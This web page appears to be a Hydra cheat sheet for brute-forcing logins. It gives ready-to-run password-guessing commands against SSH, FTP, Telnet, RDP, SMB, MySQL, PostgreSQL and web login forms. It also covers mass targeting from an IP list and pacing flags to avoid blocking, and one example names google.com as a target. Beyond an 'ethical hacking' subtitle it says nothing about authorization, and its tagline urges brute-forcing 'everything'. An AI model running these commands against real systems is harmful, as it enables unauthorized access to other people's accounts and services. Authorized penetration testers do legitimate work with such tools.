Ultimate Hydra Cheat Sheet

Ultimate Hydra cheat sheet for password testing and ethical hacking

Ultimate Hydra Cheat Sheet

A reference guide for the parallelized login cracker. Brute force everything.

1. Basic Syntax

The fundamental structure of a Hydra command.

hydra -l [user] -P [passlist] [IP] [Service]

Core Flags

  • -l : Single Username
  • -L : File of Usernames
  • -p : Single Password
  • -P : File of Passwords

Control Flags

  • -s [PORT] : Specify non-default port
  • -vV : Very Verbose (Show attempts)
  • -f : Exit after first valid login found
  • -o [file] : Save output to file

2. Managing Targets & Lists

Attack Single Target

hydra -l admin -P rockyou.txt 192.168.1.10 ftp

Attack Multiple Targets (Mass Scan)

If you have a file targets.txt containing a list of IP addresses.

hydra -L users.txt -P pass.txt -M targets.txt ssh
Pro Tip: Null Passwords
Use the -e nsr flag to check for specific conditions:
n: Null password, s: Same as username, r: Reverse username.

3. Infrastructure Services

Cracking standard network administration protocols.

SSH (Secure Shell)

hydra -l root -P passwords.txt 192.168.1.5 ssh

If SSH is running on a high port (e.g., 2222):

hydra -l user -P pass.txt 192.168.1.5 -s 2222 ssh

FTP (File Transfer)

hydra -L users.txt -P pass.txt ftp://192.168.1.5

Telnet

hydra -l admin -P pass.txt 192.168.1.5 telnet

4. Web Login Forms

This is the most complex part of Hydra. You must identify the request format using Burp Suite or Inspect Element.

HTTP POST Form

Syntax: "/page:parameters:fail_message"

1. /login.php: The login page.

2. user=^USER^&pass=^PASS^: The body. Replace real values with ^USER^ and ^PASS^.

3. F=Invalid: A string that appears on the page when login FAILS.

hydra -l admin -P rockyou.txt 10.10.10.5 http-post-form “/login.php:user=^USER^&pass=^PASS^:F=Invalid username”

HTTP GET Form (Basic Auth)

Used for router logins or .htaccess popups.

hydra -l admin -P pass.txt 192.168.1.1 http-get

HTTPS Support

Simply use the https-post-form module instead.

hydra -l admin -P pass.txt google.com https-post-form …

5. Databases & Windows

RDP (Remote Desktop)

hydra -l Administrator -P pass.txt 192.168.1.10 rdp

SMB (Windows Share)

hydra -l Administrator -P pass.txt 192.168.1.10 smb

MySQL Database

hydra -l root -P pass.txt 192.168.1.15 mysql

PostgreSQL

hydra -l postgres -P pass.txt 192.168.1.15 postgres

6. Performance & Optimization

FlagDescription
-t 4Number of parallel tasks (threads). Default is 16. Lower this for web apps to avoid crashes.
-w 5Wait time (seconds) for response. Increase if network is slow.
-W 1Wait time between login attempts (prevents blocking).
-4 / -6Force IPv4 or IPv6.
Warning:

Using high threads (-t 64) on Web Forms often causes False Positives or crashes the server. Stick to -t 4 for HTTP/HTTPS.

Leave a Reply

Your email address will not be published. Required fields are marked *